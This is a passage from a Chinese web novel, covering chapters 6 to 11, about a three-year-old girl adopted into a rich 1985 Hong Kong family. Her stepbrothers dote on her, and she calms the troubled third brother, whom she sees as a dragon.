“那些黑心帮派，为了一些蝇头小利，不惜伤及那么多条人命，迟早会遭到报应的！”黎老夫人愤愤不平的说道。 黎墨城不置可否，不过他脑海里想的更多的，是今天早上，被小婉婉拖延的时间，心里对她存着一丝感激。 “阿奶，小妹现在在哪儿？”黎墨城有些迫不及待，想要见到婉婉。 黎老夫人听他突然提起小婉婉，脸上的后怕转化为好奇：“你找她做什么？” 黎墨城按耐住心中的激动，却在说到小婉婉的时候，嗓音转化为柔和：“今天早上我帮她救了一只小麻雀，去看看是否还活着，免得她难过。” “你说你是帮婉婉救麻雀，才错过了这场意外？”黎老夫人发出一声惊呼。 随即，黎老爷也露出了激动的神情，不由感慨：“婉婉来到家里，我的病就好了，现在她又在无意中救了你，她可真是我们黎家的福星！” “是啊！”黎老夫人连连点头应和。 宋珍珍听了公公婆婆的话，本来还对他们要求自己格外照顾五房母女颇有微词，现在她忽然就明白过来，觉得这个小丫头还真有一点儿运气在的。 “阿城，既然是婉婉帮你躲过这场意外，你日后更要跟她好好相处，做好大哥的榜样。”她对黎墨城叮嘱。 “是，那我先去看婉婉。”黎墨城答应完出门了。 …… “大哥哥！”小婉婉一见黎墨城，像一只小炮弹似的，朝他飞奔而来，带动着粉色的裙摆，宛若从花丛中走出的小精灵，灵动又富有活力。 黎墨城唇边噙着温柔的笑意，在她还没跑到跟前的时候，就蹲了下去，有力的手臂稳稳的将她接住。 “慢点儿跑，看你玩的，满头都是汗。”黎墨城抱着汗涔涔的小家伙，一点儿也不嫌弃，从口袋里掏出手帕，轻轻的给她擦拭脸上的汗水。 张南听见声音出门，就看见自己的女儿被黎家长子抱在怀里哄着。 一时愣住，想不到短短一个月的时间，婉婉不仅受到老爷和夫人喜欢，竟跟黎墨城的关系都这么好了。 “五妈，我带婉婉去我那儿玩一会儿。”黎墨城回头说道。 张南回过神，第一次听见黎墨城亲口唤自己‘五妈’，她又激动，又有些无措。 黎墨城见她半天处在那儿没反应，就当她是默许了，抱着小婉婉便走出了门。 路上，有路过的下人跟他打招呼。 “大少爷。” 黎墨城抱着婉婉停下脚步，眼神清冷的看着佣人。 “没看见小小姐？” 佣人见他不高兴，连忙颔首弯腰，郑重的叫了一声：“小小姐！” 黎墨城这才满意，临走之前，对佣人警告：“以后见了小小姐，都要问候，记住了吗？” “是。” 黎墨城走后，佣人捏了把冷汗，回到负责的院子里，把大少爷对她的命令转述了一遍。 “你们可千万记住，见了小小姐要问好，否则被大少爷知道我们对她不敬，都要吃不了兜着走！” “小小姐才来多久？先是老爷和老夫人，现在就连大少爷竟然也对她这么看重？” “你们不知道吗？大少爷今天为了帮小小姐，延误了参加商会的时间，恰好错过斧头帮内斗，等同于救了他的命！”说话的佣人正是黎老爷院儿里的，今天由她来负责照顾婉婉，所以才知道前因后果。 “如此说来，这位小小姐还挺神奇？” 此时。 要去找黎老爷谈事的黎墨冰从此处经过，发觉她们神色紧张，停下了脚步。 “你们在说什么？” 第7章 和大哥哥去遛街 黎墨城把小婉婉带到自己的院子里，第一时间拿出了巧合力，给她喂了两颗。 要知道这些巧克力都是他国外留学回来的朋友带给他的，一盒只有十颗，之前四弟和六弟问他要，黎墨城一块都不给。 要是被他们知道，小婉婉一次就吃了两颗，怕是哈喇子都要垂下二尺。 黎墨城来到床榻边坐下，看着她吃得鼓囊囊的小嘴儿，像只藏食儿的小仓鼠似的，心情愉悦又放松，不自觉摆弄起她头上的两只小揪揪。 小婉婉发现他的存在，大眼睛立刻就弯成了月牙，奶声奶气的邀请他一块儿玩积木。 “大哥哥，给，和婉婉一起拼。” 黎墨城看着被放到面前的积木玩具，这些都是他小时候留存下来当做纪念的，没想到会在今天派上用场。 不过他仍然觉得，这些男孩子的玩具给婉婉玩不合适，女孩子应该会更喜欢布娃娃之类的？ “婉婉，大哥带你去遛街好不好？” “什么是遛街？”小婉婉有时会听不懂大人口中的词汇，眨巴着的大眼睛里，浮现几缕迷茫。 黎墨城笑着给她解释：“就是带你去街上遛遛，有很多好吃、好玩的。” 小婉婉毕竟是个三岁的宝宝，听到有好吃好玩的，立刻丢掉了手里的积木，答应了提议。 “好呀！婉婉要跟大哥哥遛遛。” 黎墨城好笑的抱起她，考虑到街上并不太平，他出发前，带了两队保镖，确保小婉婉的安全。 …… 85年的港城街头，正是新旧碰撞，又充满烟火气的模样。 高楼大厦紧密相连，茶餐厅、影音店的霓虹灯牌，更是重叠罗列，红、黄、绿的光，映在湿漉漉的柏油路上。 西装笔挺的黎墨城先一步从车里下来，清冷骄矜的气质，吸引了许多路人的目光，纷纷驻足观望。 黎墨城生来便是天之骄子，早已习惯被人当作焦点，但是今天他带着小婉婉，避免她怕生，等到保镖清退了路人，才向车里伸出手。 “来婉婉，慢点儿。” 小婉婉踩着小皮鞋，吭哧吭哧的爬到座椅的这头，抓住黎墨城的大手，被他抱了出来。 顿时，黑西装前多出来一抹鲜艳的粉色，让他的存在更加显眼。 “你们要时刻警惕，保障小小姐的安全。”黎墨城命令那些保镖。 众人齐声：“是！” “大哥哥，那个是什么？”小婉婉抬起小手，向前面指了指。 黎墨城顺着她看去，铁皮搭的小摊前，一位阿婆在用竹签串鱼蛋，滚油在小锅里‘滋滋’响，白雾裹着咖喱香漫过来。 “那是鱼蛋，婉婉想吃吗？” 小婉婉眼睛刷的亮起来，小下颌跟小鸡啄米似的猛点，声音清脆的说：“婉婉要吃好吃的！” “好，小馋猫儿，大哥让人去给你买。”黎墨城宠溺的捏捏她的小脸蛋儿，唔，手感不要太好了，怎么都捏不够呢。 黎墨城派遣一个保镖去给小婉婉买鱼蛋，他则抱着她进了一家玩具店。 “哇，大哥哥快看，有好好玩的！”没有一个孩子不喜欢童话世界，小婉婉在进到店里的一瞬间，就开心的手舞足蹈，在他怀里待不住了。 黎墨城索性将她放下去，招来导购：“凡是我小妹喜欢的，都包起来。” “是。”导购没想到两个人年龄这么大的年龄差距，竟然是兄妹关系。 索性见他们都穿着得体，还带着保镖，就知道他们是港城的富人，赶忙殷勤的走过去招待。 小婉婉站在一个木货架前面，货架从地面一直延展到天花板，最下层摆着铁皮青蛙，上弦后能‘呱呱’的跳出半米远，中间层的玻璃罩里，则全都是摆放整齐的塑料公仔，中间还夹杂着几个穿红裙的洋娃娃，也有刚从R国引进的铁甲万能侠。 黎墨城小婉婉看不到上面，将她抱了起来，然后让销售员给她讲解，每一个娃娃都是什么，然后，再询问一句：“婉婉喜欢吗？” 小婉婉每一次都憨笑着点头，兴奋的说：“婉婉喜欢！” 黎墨城便会示意导购记录下来。 不出一会儿，黎墨城带着小婉婉逛完了玩具店，店里的导购开始疯狂的打包玩具，黎墨城留下一个保镖在这里等，随后结账先带着妹妹离去。 “大少爷，鱼蛋买回来了，按照您的吩咐，晾得差不多了。” 黎墨城从保镖手里接过鱼蛋串，一小口一小口地喂给小婉婉。 小家伙一口接着一口，很快就把小嘴儿塞得鼓鼓的，圆溜溜的大眼睛幸福的眯成月牙，小鼻子一皱一皱的嗅他手里的，好像只贪吃的小馋猫儿，惹得黎墨城阵阵发笑。 “还有呢，慢慢吃，别噎着。” “大锅锅，鱼蛋好吃，大锅锅也吃！”小婉婉把剩下的鱼蛋串推到他嘴边。 黎墨城却摇头，看着她油汪汪的小嘴儿，命令保镖从他怀里掏出手帕，给她擦拭干净。 …… 黎墨城带着小婉婉一直玩到天黑了才回家。 张南早就等的着急，听见院子里的动静，赶忙从屋里出来。 然后，她就看见—— 十几个保镖手里要么拎着玩具箱子，要么就是服装购物袋，从大门口鱼贯而入。 “五姨太，这些都是大少爷送给小小姐的，请问放在哪里？” 张南有些发蒙，黎墨城说带婉婉去他院子，结果竟然带回这么多东西。 她之前随大太太遛街时见过这些牌子，知道价格都很昂贵，不能随便安置。 “那就放在婉婉房里吧。” 小婉婉来港之前，黎立轩就让人在她院子里给继女留了一间房，只是婉婉这段时间一直跟随老夫人身边，新屋子还没住过。 随着保镖们将东西放进屋内，黎墨城抱着婉婉姗姗来迟，看了眼屋里的情况，本来依依不舍准备将小婉婉还给张南的手，又收了回去。 “小妹的屋子不能住，等到整理好了，我再把她送过来。” “那她今晚住在老夫人那儿吗？”张南追问，婉婉毕竟是她的女儿，总不能连她去哪儿都不清楚。 黎墨城刚要点头，随即一想，又转为摇头。 “爷爷奶奶多半已经休息了，今晚让她去我院子，随我母亲同住。” “这……我是她妈妈，还是让她留下跟我住吧？”张南只是碍于跟大太太还不熟悉，怕添麻烦才想把婉婉留下。 未料一时紧张说错了话，让黎墨城听出歧义。 他转过头，语气低沉严肃：“五妈的意思，我母亲不是婉婉的母亲？” 第8章 让二哥哥抱抱 张南知道港城的规矩，在大家族中，男人的正妻，相当于所有孩子的嫡母。 即便是生母想要亲自照顾孩子，也得嫡母同意才行。 黎墨城的话吓得她脸都白了，慌乱摇头，觉得不对，又连忙点头。 “太太当然是婉婉的母亲，我只是怕给她添麻烦。” 黎墨城的脸色有所缓和，理解她是妹妹的亲生母亲，担心也是正常。 所以便安抚道：“五妈只管放心，家里几个兄弟，都是她看着长大，她对婉婉，也会视作己出的。” 黎墨城说完，抱着小婉婉就走了。 小婉婉虽然有些舍不得妈妈，可是奶奶给她讲过道理。 家里的小孩子在没有长大的时候，都要听大娘的话，而大娘就是大哥哥的妈妈，所以，她也要听大哥哥的话。 小婉婉在妈妈的身影消失后，安静的趴在黎墨城的肩头。 黎墨城感觉到怀里的小身体在一点点变软，便放缓了脚步，侧头一看，小家伙闭着眼睛，小小的身体蜷缩成一团，小手垫在下巴上当枕头，睫毛又长又密，随着呼吸微微颤动，简直像只肉乎乎的小猫儿一样，睡相憨甜，可爱的他心都化了。 黎墨城随即调整了姿势，把小婉婉拖在怀里，把自己的胳膊给她枕着，这样她也能睡得舒服一点。 很快，他带着小婉婉回到院子里，本来是决定给母亲送过去，可是想起与她这一天的相处，忽然有点儿舍不得。 心想反正弟弟们小时候也都在他这儿住过，如今有了婉婉，在他这儿住一晚无妨。 于是黎墨城果断抱着妹妹回了自己的房间。 …… 太阳从东方冉冉升起，黎墨城一睁开眼睛，就看见小婉婉已经起来了，即便没有人照顾，她也不哭不闹的，自己穿好了衣服。 就是在梳头发的时候，举着两只小手，怎么也解不开头顶的两颗小揪揪，累得小脸儿都泛红了，然后大喘一口气，休息几秒，继续不懈的跟小揪揪较劲。 黎墨城快要被小妹妹的可爱劲儿给迷晕了，起身询问：“需要我帮你吗？” “大哥哥，早安。”小婉婉弯着小嘴儿问好。 黎墨城靠近闻见一股甜甜的奶香气，情不自禁的在她脑门儿上亲了一口。 “婉婉也早安。” 而后，他自然的把小婉婉手里的梳子接过来，先解开小皮筋儿，轻轻的将散乱的头发捋顺，他原以为一件很简单的事，做起来却发现，好难啊。 不过黎墨城可是不会被困难打倒的，多尝试几次，终于成功地帮小婉婉捆好两只小揪揪。 虽然还是不如阿奶为她扎的好，但是以后还能精进。 “好了。”黎墨城起身拿来镜子，给小婉婉确认。 看见她满意的点了点头，黎墨城得到了莫大的成就感。 …… 饭后，黎墨城带着小婉婉在自己的院子里转了一圈消食。 眼看着工作的时间要到了，助理过来催促，黎墨城却对昨天的意外心有余悸。 他蹲在地上叫了声：“婉婉。” 小丫头立刻向他跑来，带着浓浓的奶香味儿，扑进他怀里。 “大哥哥，婉婉来啦！” 黎墨城抬起手揉了揉她的发心，温声询问：“婉婉，大哥一会儿要去工作了，可以吗？” 小婉婉望着大哥哥好看的眼睛，想起昨天他给自己买了很多好吃、好玩的东西，还有许许多多漂亮的花裙子，心里也有点儿舍不得。 可是她也明白道理，大哥哥很忙，不能每天都陪着她。 所以，小丫头乖巧的点点头，奶气的回答：“大哥哥去吧，婉婉在家里等你。” 意思是他可以出去工作，晚上可以平安到家。 黎墨城得到小婉婉的同意，揉揉她头上的羊角辫儿，正好老夫人院里的佣人过来，黎墨城将她交给对方。 临走时，他厉声叮嘱：“照顾好小小姐。” “是。”佣人答应。 …… 黎墨城走后，小婉婉被佣人带到了老夫人院子里。 当老夫人看见她头上的歪歪扭扭，被风吹乱的小揪揪，脸色有些不悦。 “阿珍还真是没带过女仔，竟然连头发都不会给婉婉梳！” 宋珍珍平日对待佣人都很不错，是以，佣人愿意为她说一句公道话。 “回老夫人，小小昨晚在大少爷屋里住的，这头发，应该也是大少爷给梳的。” “你说是墨城？”黎老夫人一听，脸上的嫌弃更重了。 “他一个粗手粗脚的家伙，还指望他把婉婉照顾好？哎呦，阿奶的小宝贝，在大哥哥那儿受苦了是不是？” 黎老夫人心疼的把小婉婉抱在腿上，吩咐佣人重新去拿梳子。 待把两根小揪揪梳理整齐，老夫人又命令：“去把我陪嫁柜子里的金钗拿过来。” “是。” 很快，佣人拿过金钗，老夫人给小婉婉的头发又仔细梳理一遍，将金钗戴了上去。 随即她看着自己精心打扮好的小奶宝，露出美滋滋的笑儿。 “看看我们婉婉，一打扮多漂亮。” “阿奶，头发痛痛。”小婉婉却烦恼的皱起了小眉毛，时不时的用小手挠一挠，头皮很快就有些见红。 老夫人见状心疼的不行，将金钗取下，对佣人抱怨：“你看看，你都不知道拿个轻点儿的，把我孙女儿头都坠疼了！” 佣人汗颜：“是，我再去给小小姐换个轻的。” 就这么经过了一早上的忙碌，老夫人终于给小婉婉找到了合适她的发钗，是两只金色的小铃铛，点缀在她两颗小揪揪的上面刚好，看起来就像个送福的小画星仙似的，灵动又可爱。 老夫人趁着早上凉快，命令佣人带小婉婉去园子里逛逛，免得在屋里把孩子憋坏。 佣人带着小婉婉来到园子里的大树下面，摆上一些玩具，又能乘凉，地方又很宽敞，足够她活动了。 正当她玩的起劲儿，一位穿着粉色衬衣，面带精笑的漂亮男子，闪身到了婉婉身后。 黎墨冰为了不吓到小丫头，轻轻的咳嗽了一声。 小婉婉转过头来，先看见了一双大长腿，下意识以为是大哥哥回来了，刚要叫人，顺着这双长腿向上看去，却看到另一张白皙又好看的脸。 小婉婉一下就把他认出来，并脆生生的叫了句：“二哥哥？” “哎呦，小东西，你还记得我？”意外，让黎墨冰脸上惯常挂着的假笑都有所收敛，浮现了几分真诚。 而小婉婉一直都很真诚，稚嫩的大眼睛漆黑有神，亮晶晶的包裹着他的倒影，仿佛在看见了特别美好的事物。 “婉婉记得，因为二哥哥长得最漂亮！” 黎墨冰尴尬的咳嗽了一声，以往，他特别厌烦别人用‘漂亮’来形容自己，觉得那些人都是在贬低他男生女相。 可是当这两个字从小家伙口中说出来，竟然让他在无形中，得到自信的鼓励。 他不自觉的伸出双手，等反应过来，话已经问出了口：“那让二哥哥抱抱你，可以吗？” 第9章 婉婉把大恐龙捉住了 “好呀。”小婉婉不惧生的靠进他怀里，用两只小手搂住他的脖子。 抱孩子，黎墨冰还是第一次。 怀里软软的小奶团根本没什么重量，一小只都泛着股香甜，就像是在奶豆罐子里浸泡过一般。 家里那些毛头小子身上的汗馊味儿，跟她简直没法比。 黎墨冰发出“哈”笑声，单手把她拖住，另一只手轻轻在她鼻尖儿上点了点。 “那我问你，你更喜欢你大哥，还是喜欢我？” 这个问题可把小婉婉给难住了。 小手抓了抓头上的几根呆毛，连同羊角辫儿都一块儿乱扭，小嘴儿微微撅着，像是能挂一个油壶。 “喜欢大哥哥，也喜欢二哥哥……” 意思就是两个都喜欢。 “好啊，你个小贪心鬼，还真是谁都不得罪。”黎墨冰直接对准她的小鼻子捏了捏，并没有用力。 小婉婉被逗的发出“咯咯咯”的笑声，趴在他肩膀上，把鼻子藏住。 黎墨冰笑了一会儿，像是突然想起了什么，笑声空了半拍，唇边的弧度一点一点淡了下去。 回想这几年，自从和老大一起跟在父亲身边学习经商，已经很久没有这么轻松的笑过。 他抬起手，捏捏她的小脸儿，走进屋里，对黎老夫人说道：“阿奶，我这会儿没事，带婉婉去找老三玩一会儿。” 黎家上下皆知，二少爷虽然跟大少爷一起共事，但却跟三少爷关系最好，经常会凑在一起玩闹，有了小妹妹，带着一起玩再正常不过。 黎老夫人听完，顿时露出了不满的神情。 “昨儿你大哥霸占婉婉一整天，早上在我这儿还没坐热，你又来跟我抢人！” 黎墨冰笑意未沾眼底，答复老夫人：“阿奶，大哥都跟婉婉混熟了，没道理让他一个人霸占婉婉，不给我们跟她亲近的机会？” 黎老夫人瞪了他一眼：“全家上下数你最会插科打诨，我只说这一次，给我把婉婉照顾好，要是出了差错，看我怎么收拾你！” 黎家起家之初，老夫人也曾是商场中的女强人，许多男老板在她面前都要夹着尾巴走。 后来她为了孩子，退居到幕后，但是昔日在商场中练就的一身威风，始终不曾减弱。 是以她在黎家的地位并不输给黎老爷，子孙们没有敢不遵从她的。 黎墨冰听老夫人答应，笑眯眯的抱着小婉婉出了门。 “二哥哥，我们要去找三哥哥吗？”小婉婉趴在他肩头问道。 黎墨冰没想到她还一个三岁的小奶娃，竟然挺会记话儿，勾起一侧唇角，笑容蔫坏。 “婉婉也记得三哥哥？” “婉婉记得，三哥哥凶巴巴，是只大恐龙！”小婉婉挥舞着两只小手，比出一个巨大的形状。 黎墨冰再次被她逗笑，笑过后，轻拍她的小脑瓜：“小婉婉别怕，你三哥就算是大恐龙，他也不敢吃你。” “嗯。”小婉婉点了点下颌，就这么轻易的相信了他的鬼话。 而黎墨冰也在越来越靠近黎墨郢的院子时，笑容里的精坏感越来越不遮掩。 小婉婉从侧面看不真切，天真的以为，二哥哥是带她来串门儿的，小手捏着他的花衬衣领，摆弄的特意专注。 …… 黎家东院有两座正房，一处座南，一处朝北，两厢背靠着背，恰好形成扶持应照之姿。 而这处院子也正是包含在整个主院的范围之内，只有黎家正妻，以及其生下的子女，可以住在这里。 黎墨城住在南面，北面这边，则分给了黎墨郢。 “老三，看看谁来了？”黎墨冰抱着小婉婉，大摇大摆的进了北面的院子。 黎墨郢在看见他怀里小奶娃的一瞬间，手里的云梦牌钢笔“啪”的放在桌上，充满少年气的眉眼拧成了一团，下颌线绷的紧紧的，像尺子量着画出的直线。 一副憋着火气的样子。 “谁让你把她带过来？滚出去！” 少年发出的低吼，把黎墨冰怀里的小婉婉吓得一愣，瞪着圆溜溜的大眼睛忘记眨，整个小人儿似乎都定格了。 黎墨冰怕她被吓坏，赶忙用手轻抚她的后背，瞪着黎墨郢。 “老三，你那么大声做什么？看把小妹给吓的，小脸儿都白了。” 说着，他还特别心疼的摸了摸小婉婉细嫩的脸蛋儿。 小婉婉回过神，鼓着小腮帮，抱起两只小胳膊，一脸‘你看我就说吧’的表情，跟个小大人儿似的，不要太萌。 黎墨冰跟她眼神交汇在一起，挑眉，一切尽在不言中。 随即，他又看向暴躁的黎墨郢，向前迈了一步：“阿奶可是说过，咱们兄弟几个都要好好跟婉婉相处，你能躲得过初一，还能躲得了十五？” 黎墨郢嘴唇抿成一条薄而直的缝，凤眸垂落，睫毛在眼下投出一小片阴影，连带着鼻尖都蒙了层冷意。 只听他从鼻腔里哼出一声不屑。 “你再敢往前进一步，我让你横着出去。” 黎墨冰还就跟他杠上了，三步并作两步走到他面前，直接抬手，把小婉婉往他怀里一塞。 黎墨郢的眼珠子差点儿蹦出眼眶，仿佛生怕脏东西沾染到自己，向后退了一大步。 同样的，被猝不及防推出去的小婉婉也张大了小嘴儿，圆乎乎的黑眼睛定格在黎墨郢的脸上，像只呆猫儿似的半挂在空。 “躲什么，抱着！”黎墨冰在他后退的同时再次走了过来。 黎墨郢和小婉婉之间的距离再次缩短，眼看着就要贴在一起，他脸上的愤怒已经变成了将要碰到脏东西的惊恐，骂了黎墨冰一句，拔腿从侧面逃走。 而就在他转身逃跑的瞬间，小婉婉的眼睛瞪得更大、更亮！ 她看见从黎墨郢身上散发出庞大的黑色气体，如厚厚的云层一般，转瞬就将他从头到脚包裹住。 随着他跑的越快，那些雾气像是被无形的手搅动起来，巨大的阴影，像是正在从雾核中挣脱，鳞片摩擦形成一道道白色的电流，如毒蛇蝉蜕，逐渐形成真实的影子。 两只乌黑的龙角刺破了雾层，一截布满炫纹的脖颈缓缓抬起，击退了层层黑雾。 在龙尾扫过的轨迹里，雾气沉落，漏出一双漆黑锋利的爪，张开的血盆大口，将要吸取天地万物。 小婉婉踢蹬着小腿，眼睛里含着说不上是兴奋，或是激动的光，刹那间伸出小手，就把龙角给握住了。 她如炫耀般对黎墨冰看她的手：“二哥哥快看，婉婉把大恐龙捉住了！” 而在黎墨冰的视角里，小婉婉快速出手攥住的，正是黎墨郢被风掀开的衣角。 再看黎墨郢，在被小婉婉碰到的瞬间，化身为了石雕，侧头睨着他的凤眸，汹涌起蓬勃的杀意。 “黎墨冰，你今天死、定、了！” 第10章 你再揍我，我喊人了 黎墨冰感觉脊背一寒，预感到不妙，他在黎墨郢向他冲过来的瞬间，把小婉婉当成盾牌，直接塞到他怀里。 “小妹，抓住你三哥，二哥先走一步！”说完，黎墨冰脚底抹油，撒丫子跑路。 而小婉婉的身上没有了支撑，她本能的抱住黎墨郢的脖颈。 黎墨郢比她大了十岁，身高已有一米七五，即便身上挂住她这么个小不点儿，也根本累不到他分毫。 关键就在于黎墨郢有洁癖！ 在跟小婉婉‘亲密接触’的当时，整个脑子嗡的一下，浑身像是被扎了刺，汗毛炸起，鸡皮疙瘩掉了一地。 他本能扣住她的腋窝，从脖子上摘下去。 奈何他的头发又被小家伙拽住！ 一大一小，一黑一粉，形成了拉锯战。 在小婉婉的视线中，她两只小手握着黑色的大龙须，面临被甩掉地上的风险，必须得牢牢抓紧。 黎墨郢则在于她拉扯了几分钟后，不仅没能将她从身上甩掉，还像是被卸掉了满身力气，萌生出深深的无力感。 突如其来的疲倦，冲击他全身的细胞，如同海啸般汹涌而来的困意，让他逐渐就放弃了挣扎。 他抱着小婉婉坐在摇椅上，与她大眼瞪小眼，一分钟后，就那么闭上眼睛睡去了。 伴随着黎墨郢呼吸陷入平稳，小婉婉手中的大龙须变成了两撮黑发，黑色的雾气也都散尽，露出黎墨郢那张满是英气，不可一世的傲娇容颜。 他睡着的样子跟平时凶巴巴很不一样，非常安逸，额前的几缕碎发被汗水浸湿，松松的搭着，随着呼吸起伏，他的胸口发出轻微颤抖，小婉婉靠在上面，能够听见他沉稳有力量的心跳。 咚咚，咚咚，咚咚。 小婉婉好奇刚才还是大黑龙的三哥哥怎么忽然就睡着了，一只小手托着下颌，一会儿捏捏他的耳垂，一会儿又点点他高挺的鼻梁。 一动不动。 真的睡着了。 咦，二哥哥去哪里了？ 小婉婉想起黎墨冰，吭哧吭哧的从他怀里往后移，准备借助他的长腿滑到地上去找人。 就在她辛苦的移动到椅子边缘，眼看小脚丫就可以落到地上了。 一双有力的手，轻轻一捞，就又把她拽了回去。 这一次，黎墨郢是安稳的抱着她，还把她的小脑瓜按在胸口，手也拖着她的后背，小心避免她从身上摔下。 小婉婉小脸儿大写的‘懵’，抬头去看黎墨郢，却再次被他的大手给按回。 如此反反复复好几次，小婉婉都折腾困了，打了个小小的哈欠，就趴在他胸口睡过去了。 …… 黎墨郢睁开眼睛，深深的吸了一口气。 记得从他六岁生日过完，他就再也没有在夜里睡过一个整觉。 他几乎每晚都会被噩梦惊醒好几次，醒来后被剧烈的头痛折磨，而从去年起，他从头痛转化为全身剧痛，就像是有什么东西要撕开他的身体，将他碾碎。 此刻，他看向石英钟，才一个小时而已。 可是他却像是度过了一个很长很长的夜，没有噩梦，醒来也没有痛苦，仿佛被洗礼过一样，全身都是放松的。 黎墨郢似有若无的勾起唇角，感觉着胸口微微的重量，抬手抚摸上去。 下一刻，他直接起身，发现本来该睡在怀里的小丫头，被人换成了枕头，脸色刷的一沉。 “黎、墨、冰！” …… 彼时。 黎墨冰正抱着睡着的小婉婉快步往老夫人的院子走。 刚才他用小婉婉做了挡箭牌，并不能确定黎墨郢会做出什么，所以一直在外面观望，一旦情况不妙，好回去救援。 让他意外的是，老三那个家伙竟然真的控制住了暴脾气，还把他自己跟孩子一块儿哄睡着了？ 黎墨冰松了口气，不敢玩大了，所以趁着他睡熟，赶忙用枕头把小婉婉换出来，去还给老夫人。 “阿奶，婉婉睡着了，我把她送过来。”黎墨冰进门就喊。 黎老夫人闻声赶忙走过来，结果孩子之前，在他背上锤了一拳。 低声抱怨道：“小点儿声，把婉婉吓着，看我不抽你！” 黎墨冰缩了缩脖子，轻轻的将小婉婉交了出去。 小家伙脱手的瞬间，他身上的重担也一并卸下，心道，带孩子可真不容易，以后，他可不再给自己找事儿了。 “阿奶，我刚才带婉婉去老三那儿，他们相处的挺不错。”黎墨冰想在长辈面前邀功。 奈何老夫人等了一个上午，才终于抱到了心心念念的孙女儿，所有的注意力都被她占据，哪里有心情管别人？ 不耐烦的摆摆手：“去去去，你们两个爱怎么样就怎么样，以后少拿我的婉婉逗乐，她可不是给你们玩的！” 黎墨冰嘴角抽了抽，合着一个上午都白忙，翻了个白眼退了出去。 就在他一只脚刚迈出门口，从侧面杀出的黎墨郢揪住他衣领，将他按在地上，一拳，就让他那张细皮嫩肉的脸挂了彩。 黎墨冰呲牙咧嘴的捂着腮帮，另一只手握住黎墨郢的拳头。 “你再揍我，我喊人了？” “这是你自找的！下次再撩闲，送你去医院！”黎墨郢揉着手腕起来，抬腿从他身上跨过，直接进了门。 内室，老夫人刚准备将小婉婉放在榻上，小家伙就睁开了大眼睛，模模糊糊的揉了揉眼眶，小丫头打了个香甜的小哈欠。 开口的就是一句软软的：“阿奶，婉婉肚肚饿了。” “他们没给你吃饭？这两个混球，太气人了！”黎老夫人火气腾的一下冒起来，恨不得把两个臭小子叫过来揍一顿。 不过就算她再生气，也不能让小宝贝饿肚子，先传唤佣人给她准备儿童膳食。 随即她抱着小婉婉来到堂屋，一抬眼，发现黎墨郢坐在下面的椅子上发呆，往日英姿勃发，一身傲骨的少年，此时像只晒蔫的茄子一样，一动不动。 黎老夫人见他这副模样，也就不忍心骂他，好奇的问：“你怎么跑到这儿来杵着？” 黎墨郢抬起头，径直看向她怀里的小婉婉，张了张嘴，像是有话要说。 但最后还是憋了回去，默不作声的出门去了。 “臭小子，染的都是什么怪毛病？”老夫人叹了口气。 她怀里的小婉婉奶声奶气的冒出一句：“三哥哥不是大恐龙了，三哥哥喜欢婉婉。” 第11章 小笨蛋，真是败给你了 黎老夫人被小婉婉天真的话儿逗笑，捧着她的小脸儿蹭了又蹭。 “那当然了，我的婉婉这么可爱，他们敢不喜欢！” 很快，佣人拿来了膳食，老夫人下意识拿起勺子准备亲自喂她。 没想到小丫头却摇了摇头，小大人儿似的说道：“妈咪说婉婉是乖宝宝，乖宝宝要自己吃饭。” “哟，婉婉要自己吃饭？”黎老夫人把勺子递给她。 只见小婉婉用小手握着勺子，小心翼翼的舀起一撮米饭，动作虽然有点儿缓慢，却一粒都没掉出来，吃得很干净。 黎老夫人想到了家里那几个混球，每天都是衣来伸手，饭来张口的，还不如小孩子让人省心。 顿时，对小婉婉更心软，决定以后还是多娇惯着一些，毕竟女孩子，总是要富养的。 小婉婉吃完了饭，黎老夫人就叫来院子里的佣人，选了两个性格温顺、心细的，以后专门负责照顾她的饮食起居。 两个佣人一个姓王，一个姓刘，都四十岁左右，小婉婉称呼她们为王妈和刘妈。 “好了，我去房里睡一会儿，你们两个先带婉婉去外面玩，注意安全，别磕着碰着了。”黎老夫人交代二人。 “是。”二人激动答应，像护着宝贝似的，跟在小婉婉后面照顾。 黎墨郢出门后并没有离开院子，彼时，他正抱着手臂站在园子里的老榆树下面。 树影斑驳的打在他英俊的脸上，少年清冷的眉眼如同黑夜中孤寂的夜莺，盯紧了穿粉色裙子的小丫头。 小婉婉向王妈要了一些谷物，准备到树边去喂鸟的，哪知道今天的树上却静悄悄。 只有树丫上一窝没睁眼的小麻雀，细弱的呼唤着鸟妈妈。 “三哥哥！”小婉婉看见树下的黎墨郢，弯着小嘴儿，笑嘻嘻的跑了过去。 “小小姐，您慢点儿，别摔倒了。”两位照顾她的佣人尽职尽责的跟在后面护着。 当她们看见站在树下的祖宗黎墨郢，知道他有洁癖，性情乖张又暴力，如惊弓之鸟般跑到前面，拦住了去路。 “小小姐，咱们就在这儿玩，别过去打扰三少爷！” 小婉婉小脸儿都是懵懂，眨巴眨巴眼睛。 “可是，我想跟三哥哥一起玩。” 两位佣人如临大敌，紧张的拉着她往回走。 “小小姐，三少爷他不喜欢吵闹，我们陪你玩，乖啊，听话。” “站住。” 这时，树下的少年低沉的嗓音响起。 两位佣人被吓得后背冷汗直冒，她们都已经拉着小小姐走了，这位祖宗难不成还要找茬？ “过来。”黎墨郢低声吩咐。 两个佣人你看看我，我看看你，谁都不敢向前迈步。 倒是她们中间的小婉婉，挣脱了她们的手，一溜烟的向黎墨郢跑了过去。 “三哥哥！” 眼看着小婉婉来到黎墨郢面前，一把抱住她的大腿。 把她们吓得眼珠子差点掉下来！ “小小姐……” 二人心里已经做好了她会被推开，或者受伤的准备。 然而，预料的情况并没有发生。 黎墨郢脸上仍然透着清冷，眼神幽凉好似罗刹，却只是看着她，并没有躲开她的接触。 “你想玩什么？”他问道。 小婉婉伸出肉乎乎的小手，里面装的正是她向佣人要来的谷物。 “我想喂树上的鸟鸟，它们都飞了呢！” 黎墨郢眉头霎时快要夹死一只苍蝇，洁癖让他讨厌一切带毛的动物。 是以，天生的煞气，让他所过之处，不留除了人以外的任何活物。 “我带你玩点别的。” 他将小婉婉从地上抱起来，冷厉的目光落向她身后的佣人，警告：“你们不准跟着。” “可是……老夫人让我们俩照顾小小姐。”王妈为难的开口。 黎墨郢道了句：“用不着你们。” 转身，高冷的抱着小婉婉离去。 留下两位佣人担心的不行，却又不敢违抗他的命令。 …… 小婉婉一直都好奇的眨巴着大眼睛，因为三哥哥带她来到了一个陌生的地方。 小婉婉不知道这是哪里，只记得他们走了很远的路，天上的太阳都落了下去，三哥哥走的额头都出了汗，顺着脸颊流到了下巴。 小婉婉看他太辛苦，萌萌哒跟他商量：“三哥哥，婉婉能自己走。” 黎墨郢看了眼她的小短腿，嫌弃之情溢于言表。 